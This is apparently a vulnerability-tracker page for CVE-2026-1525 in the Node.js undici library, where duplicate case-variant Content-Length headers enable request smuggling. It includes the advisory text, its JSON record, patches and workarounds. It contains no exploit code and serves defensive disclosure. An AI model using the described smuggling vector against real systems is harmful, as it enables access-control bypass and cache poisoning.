- HTTP Request Smuggling: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking
Patches
Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.
Workarounds
If upgrading is not immediately possible:
- Validate header names: Ensure no duplicate
Content-Lengthheaders (case-insensitive) are present before passing headers to undici - Use object format: Pass headers as a plain object (
{ 'content-length': '123' }) rather than an array, which naturally deduplicates by key - Sanitize user input: If headers originate from user input, normalize header names to lowercase and reject duplicates
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1525"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:07:03Z",
"nvd_published_at": "2026-03-12T20:16:02Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nUndici allows duplicate HTTP `Content-Length` headers when they are provided in an array with case-variant names (e.g., `Content-Length` and `content-length`). This produces malformed HTTP/1.1 requests with multiple conflicting `Content-Length` values on the wire.\n\n**Who is impacted:**\n - Applications using `undici.request()`, `undici.Client`, or similar low-level APIs with headers passed as flat arrays\n - Applications that accept user-controlled header names without case-normalization\n\n**Potential consequences:**\n - **Denial of Service**: Strict HTTP parsers (proxies, servers) will reject requests with duplicate `Content-Length` headers (400 Bad Request)\n - **HTTP Request Smuggling**: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\n If upgrading is not immediately possible:\n\n 1. **Validate header names**: Ensure no duplicate `Content-Length` headers (case-insensitive) are present before passing headers to undici\n 2. **Use object format**: Pass headers as a plain object (`{ \u0027content-length\u0027: \u0027123\u0027 }`) rather than an array, which naturally deduplicates by key\n 3. **Sanitize user input**: If headers originate from user input, normalize header names to lowercase and reject duplicates",
"id": "GHSA-2mjp-6q6p-2qxm",
"modified": "2026-03-13T20:07:03Z",
"published": "2026-03-13T20:07:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-2mjp-6q6p-2qxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1525"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3556037"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/444.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110.html#section-8.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Undici has an HTTP Request/Response Smuggling issue"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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